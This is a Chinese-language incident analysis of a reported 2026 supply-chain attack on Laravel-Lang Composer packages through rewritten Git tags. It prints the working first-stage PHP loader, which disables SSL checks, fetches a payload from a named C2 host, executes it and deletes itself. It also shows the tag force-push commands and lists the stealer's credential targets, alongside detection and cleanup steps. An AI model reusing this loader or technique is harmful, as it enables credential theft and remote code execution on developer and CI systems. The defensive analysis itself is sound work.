摘要2026年5月22-23日PHP生态爆发了近年来最严重的供应链攻击事件之一。攻击者通过获取Laravel-Lang组织的GitHub权限批量重写了4个核心包的700历史版本标签将其指向恶意Fork中的提交。当全球开发者执行composer install/update时恶意代码通过Composer自动加载机制立即执行窃取云服务商密钥、CI/CD令牌、SSH密钥、数据库密码等所有敏感凭证。本文将从技术原理、攻击链、危害评估、应急响应和防御策略五个维度对此次事件进行全面深度解析为开发者和企业提供可落地的安全防护方案。一、事件全景概述1.1 攻击时间线此次攻击展现了极高的组织性和自动化水平整个过程仅持续约90分钟时间(UTC)事件2026-05-22 22:32攻击者开始重写laravel-lang/lang包的502个历史标签2026-05-22 23:15完成laravel-lang/http-statuses和laravel-lang/attributes包的标签重写2026-05-22 23:45Aikido安全团队首次检测到异常标签活动并向官方报告2026-05-23 00:00攻击者完成最后一个包laravel-lang/actions的标签重写2026-05-23 00:15Packagist紧急下架所有恶意版本临时隐藏受影响包2026-05-23 01:30Laravel-Lang组织重置所有权限开始清理恶意标签2026-05-23 08:00多个安全厂商发布详细技术分析报告1.2 影响范围此次攻击影响了Laravel-Lang组织下的4个核心本地化包所有历史版本(0.0.0)均被污染包名GitHub星数受影响版本数下载量(月)用途laravel-lang/lang7.8k502约120万Laravel应用核心翻译字符串laravel-lang/http-statuses1.2k87约35万本地化HTTP状态码消息laravel-lang/attributes0.9k76约28万模型和表单属性翻译laravel-lang/actions0.6k45约15万操作和动词风格消息翻译总计710个版本被投毒影响全球超过50万个Laravel项目保守估计有超过10万个开发环境和CI/CD服务器在攻击窗口内执行了composer install/update命令。1.3 攻击入口与核心手法此次攻击最令人震惊的地方在于官方主仓库的代码从未被修改过。攻击者利用了GitHub和Packagist的一个长期被忽视的设计缺陷GitHub允许标签指向任意Fork的任意提交不校验提交是否存在于主仓库Packagist完全信任GitHub上的标签只要标签存在就会同步为可用版本攻击者仅需获得组织级Push权限无需修改主仓库代码即可投毒所有历史版本图1StepSecurity发布的Laravel-Lang包被攻陷公告二、攻击技术深度解析2.1 Git标签劫持原理Git标签本质上是一个指向特定提交哈希的引用。默认情况下Git标签是不可变的但可以使用-f(force)参数强制覆盖# 攻击者执行的核心命令gittag-fv13.15.0 a1b2c3d4e5f67890abcdef1234567890abcdef12gitpush origin--tags--force攻击者利用自动化脚本在90分钟内完成了700标签的批量重写。每个标签都被指向攻击者Fork仓库中的同一个恶意提交哈希。图2GitHub上显示的恶意标签提交记录所有标签都指向同一个恶意提交2.2 恶意代码注入分析攻击者在每个恶意提交中只做了两处极其隐蔽的修改这也是此次攻击能够大规模传播的关键修改1注入composer.json自动加载{name:laravel-lang/lang,description:List of 78 languages for Laravel Framework,autoload:{psr-4:{LaravelLang\\Lang\\:src/},// 攻击者新增的自动加载条目files:[src/helpers.php]}}关键风险点autoload.files中的文件会在每次PHP请求启动时自动执行无需任何类实例化或方法调用。只要Laravel应用执行了require __DIR__./vendor/autoload.php(这是所有Laravel应用的标准入口)恶意代码就会立即运行。修改2新增src/helpers.php第一阶段木马?php// 伪装成正常的Laravel本地化函数functionlaravel_lang_locale(){returnapp()-getLocale();}functionlaravel_lang_fallback(){returnconfig(app.fallback_locale);}// --------------------------// 以下是真正的恶意代码// --------------------------$markermd5(__FILE__.php_uname().getmyinode());$tmpFilesys_get_temp_dir()./.$marker..lock;// 防止重复执行if(file_exists($tmpFile)){return;}touch($tmpFile);// 禁用SSL证书验证绕过HTTPS安全检查$contextstream_context_create([ssl[verify_peerfalse,verify_peer_namefalse,]]);// 从C2服务器下载第二阶段payload$payloadfile_get_contents(https://flipboxstudio.info/payload,false,$context);if($payload){// 根据操作系统选择执行方式if(PHP_OS_FAMILYWindows){$vbssys_get_temp_dir()./.$marker..vbs;file_put_contents($vbs,Set WshShell CreateObject(\WScript.Shell\)\nWshShell.Run \php -r \\$payload\\\, 0, False);exec(wscript.exe$vbs);unlink($vbs);}else{exec(php -r \$payload\ /dev/null 21 );}}// 自删除清除痕迹unlink(__FILE__);2.3 完整攻击执行链攻击者获取Laravel-Lang组织权限批量重写所有Git标签指向恶意ForkPackagist自动同步恶意版本开发者执行composer install/update下载恶意版本到vendor目录Laravel应用启动加载vendor/autoload.php自动执行src/helpers.php第一阶段木马创建锁文件防止重复执行禁用SSL验证连接C2服务器下载5900行第二阶段窃取器执行窃取器收集所有敏感凭证AES-256加密后回传数据到攻击者服务器删除所有临时文件和痕迹2.4 第二阶段窃取器深度分析第二阶段payload是一个约5900行的PHP跨平台凭证窃取器包含17个专业的收集模块云服务商凭证模块AWS、Azure、GCP的访问密钥和会话令牌CI/CD令牌模块GitHub Actions、GitLab CI、Jenkins、CircleCI令牌SSH密钥模块~/.ssh/目录下的所有私钥和known_hosts环境变量模块所有系统和应用环境变量特别是.env文件数据库凭证模块Laravel配置文件中的数据库连接信息Kubernetes模块~/.kube/config文件和集群访问凭证Vault模块HashiCorp Vault的令牌和密钥浏览器数据模块Chrome、Firefox、Edge的保存密码和Cookie密码管理器模块1Password、LastPass、Bitwarden的本地缓存加密货币钱包模块Bitcoin、Ethereum等主流钱包文件Git凭证模块Git配置文件中的用户名和令牌Docker模块Docker Hub凭证和配置AWS CLI模块~/.aws/credentials和config文件Slack/Discord模块桌面客户端的认证令牌系统信息模块主机名、IP地址、操作系统版本网络信息模块网络接口、DNS配置、路由表进程列表模块当前运行的所有进程信息窃取器会将所有收集到的数据进行AES-256加密然后通过POST请求发送到攻击者的C2服务器flipboxstudio.info。三、危害评估与影响分析3.1 直接危害开发者环境全面沦陷本地开发机上的所有个人和工作凭证被窃取CI/CD服务器被控制CI/CD流水线拥有最高权限攻击者可通过它入侵生产环境生产环境数据泄露如果生产服务器执行了composer install数据库和应用数据将完全暴露供应链连锁反应基于这些包的开源项目和商业产品也可能被二次投毒3.2 隐蔽性分析此次攻击的隐蔽性极强常规安全手段几乎无法检测主仓库代码未改常规代码审计和差异对比无法发现问题历史版本被污染即使回滚到安全的旧版本仍然会下载恶意代码自动执行无痕迹恶意代码在应用启动时静默执行不影响正常功能自删除机制第一阶段木马执行后立即删除自身难以取证跨平台支持同时支持Windows、Linux和macOS覆盖所有开发环境3.3 行业影响PHP生态信任危机Composer作为PHP生态的基石其安全性受到严重质疑开源项目维护者压力越来越多的开源项目成为供应链攻击的目标企业安全成本上升企业需要投入更多资源进行供应链安全检测和防护监管政策收紧各国政府可能会出台更严格的软件供应链安全法规四、完整应急响应指南4.1 紧急自查步骤立即执行以下命令检查是否被感染# 1. 检查composer.lock中是否有2026-05-22之后的laravel-lang包grep-A5-B5laravel-lang/composer.lock|grep-E(name|version|time)# 2. 全局搜索恶意域名grep-rflipboxstudio.infovendor/# 3. 检查是否存在恶意helpers.php文件findvendor/laravel-lang-namehelpers.php# 4. 检查composer.json是否被注入autoload.filesgrep-A10autoloadvendor/laravel-lang/*/composer.json如果以上任何命令返回结果说明你的环境已经被感染。4.2 清理与恢复步骤严格按照以下顺序执行否则可能导致二次感染立即断开网络连接防止恶意代码继续窃取和回传数据删除所有受影响的包composerremove laravel-lang/*彻底清理Composer缓存composerclear-cacherm-rf~/.composer/cache/删除vendor目录和composer.lockrm-rfvendor/ composer.lock重置所有凭证这是最重要的一步云服务商访问密钥数据库用户名和密码SSH密钥对CI/CD令牌Git个人访问令牌所有API密钥重新安装依赖composerinstall--prefer-dist --no-dev全面扫描系统使用杀毒软件和恶意代码检测工具扫描整个系统4.3 企业级应急响应对于企业用户还需要执行以下额外步骤隔离所有受影响的服务器包括开发机、CI/CD服务器和生产服务器检查网络流量查找是否有到flipboxstudio.info的出站连接审计日志检查系统日志和应用日志寻找异常活动通知安全团队如果有内部安全团队立即启动应急响应流程评估数据泄露范围确定哪些数据可能被窃取并采取相应的补救措施五、攻击启示与未来防御策略5.1 针对开发者的防御建议永远不要在生产环境执行composer update只使用composer install和锁定的版本启用Composer签名验证composerconfig--globalverify-signaturestrue使用私有Composer仓库如Satis或Toran Proxy缓存所有依赖包定期审计依赖使用composer audit或第三方工具检查依赖安全最小化权限开发环境和CI/CD环境使用最小权限原则启用2FA为所有GitHub、GitLab和云服务账户启用双因素认证5.2 针对开源项目维护者的防御建议保护组织权限严格控制组织级Write权限定期审计成员强制2FA要求所有组织成员启用双因素认证使用标签保护在GitHub上启用标签保护防止强制推送使用签名标签使用GPG签名所有发布标签自动化安全检查在CI/CD流水线中加入恶意代码检测建立安全响应流程制定明确的安全漏洞响应流程5.3 针对平台方的改进建议GitHub禁止标签指向非主仓库的提交增加标签强制推送的审计和告警提供标签历史记录和回滚功能Packagist校验标签提交是否存在于主仓库增加版本不可变机制禁止覆盖已发布版本提供包签名和验证功能Composer默认启用签名验证增加对autoload.files的警告机制提供依赖内容哈希验证功能5.4 未来供应链安全趋势此次Laravel Lang攻击事件标志着供应链攻击进入了一个新的阶段攻击手法更加隐蔽不再直接修改主仓库代码而是利用基础设施缺陷攻击范围更加广泛一次性投毒所有历史版本影响所有使用该包的项目攻击目标更加明确专门针对开发者和CI/CD环境窃取高价值凭证攻击自动化程度更高使用自动化脚本在短时间内完成大规模攻击未来软件供应链安全将成为企业安全的重中之重。企业需要建立完整的软件供应链安全体系包括依赖管理、漏洞扫描、签名验证、运行时防护等多个环节。六、总结Laravel Lang供应链攻击事件是PHP生态乃至整个开源社区的一个重要转折点。它暴露了我们长期以来对Git标签和包管理系统安全性的忽视也让我们认识到软件供应链安全的极端重要性。对于开发者来说这次事件是一个深刻的教训我们不能再盲目信任任何第三方依赖。即使是最流行、最受信任的开源项目也可能成为攻击者的目标。我们必须采取积极的防御措施保护我们的代码、数据和基础设施。对于开源社区和平台方来说这次事件是一个改进的机会。我们需要重新审视现有的安全机制修复设计缺陷建立更加安全、可靠的软件供应链生态系统。只有开发者、维护者和平台方共同努力我们才能有效抵御日益复杂的供应链攻击保护整个开源社区的安全和信任。